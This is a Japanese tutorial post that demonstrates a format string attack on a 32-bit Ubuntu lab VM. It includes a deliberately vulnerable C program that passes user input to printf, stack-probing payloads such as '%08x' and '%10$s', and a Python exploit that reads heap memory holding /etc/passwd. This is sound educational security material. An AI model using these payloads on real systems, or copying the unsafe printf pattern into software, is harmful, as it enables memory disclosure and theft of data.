format string attackによるメモリ読み出しをやってみる

バッファスタックオーバーフローに並んでよく知られている攻撃に、format string attack(書式文字列攻撃)がある。 これは、printf系関数のフォーマット文字列が外部から操作可能になっている場合に、細工した文字列を送り込んでメモリ内容の読み出しや書き換えを行う攻撃である。 ここでは、実際にformat string attackによるメモリ内容の読み出しをやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

コマンドライン引数がそのままprintfのフォーマット文字列になっているコードを書く。 また、事前にヒープ領域に適当なファイルを読み込んでおき、メモリ読み出しのターゲットとする。 ここではついでに読み込んだバイト長も出力することにする。

/* fsb.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[100];
    char *secret;
    FILE *fp;

    secret = malloc(2000);
    printf("[+] secret = %p\n", secret);

    fp = fopen("/etc/passwd", "r");
    fread(secret, 1, 2000, fp);
    fclose(fp);
    printf("length = %d\n", strlen(secret));

    strncpy(buf, argv[1], sizeof(buf));
    printf(buf);

    free(secret);
    return 0;
}

DEPSSP有効、ASLR無効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc fsb.c
fsb.c: In function ‘main’:
fsb.c:21:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out arg1
[+] secret = 0x804b008
length = 1037
arg1

1037バイトのデータがsecret変数に読み込まれているが、その中身は見れない。

スタックの中身を出力させてみる

printf関数が呼び出されるとき、その第一引数となるフォーマット文字列のアドレスはスタックの一番上に置かれている。 ここでフォーマット文字列に%08xを送り込むと、本来第2引数があるはずのスタック上位から2ワード目を出力させることができる。

$ ./a.out '%08x'
[+] secret = 0x804b008
length = 1037
bffff93a

上のコードのフォーマット文字列 buf はスタック上に置かれているので、3ワード目以降も同様に出力させればそのうちフォーマット文字列そのものの値が出力されるはずである。 実際にフォーマット文字列の先頭に目印を置いて、順にスタックの中身を表示させてみる。

$ ./a.out 'AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
[+] secret = 0x804b008
length = 1037
AAAAbffff8ff.00000064.0804b7e0.bffff6ff.bffff6fe.ffffffff.bffff7e4.0804b008.0804b7e0.41414141.78383025.3830252e

AAAAに対応する41414141が10番目に現われている。 次のように指定すれば、10番目の値を直接表示させることができる。

$ ./a.out 'AAAA%10$08x'
[+] secret = 0x804b008
length = 1037
AAAA41414141

%s指定子は対応する引数で指定されたアドレスが指す文字列を出力する。 つまり、AAAAの部分に読み出したいアドレスをセットした上で%10$sを指定すれば、任意のアドレスからnullバイトが現れるまでのメモリ内容を出力させることができる。

エクスプロイトコードを書いてみる

上に書いた内容にそって、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

target_addr = int(sys.argv[1], 16)
index = int(sys.argv[2])

buf = struct.pack('<I', target_addr)
buf += "%%%d$s" % index

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードは、読み出したいアドレス、フォーマット文字列の先頭位置までのオフセットを順に引数に指定する。

読み出したいアドレスにsecret変数のアドレスを指定して、実行してみる。

$ python exploit.py 0x804b008 10
[+] secret = 0x804b008
length = 1037
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
(snip)

secret変数に格納されているデータが意図せず読み出されることを確認できた。

関連リンク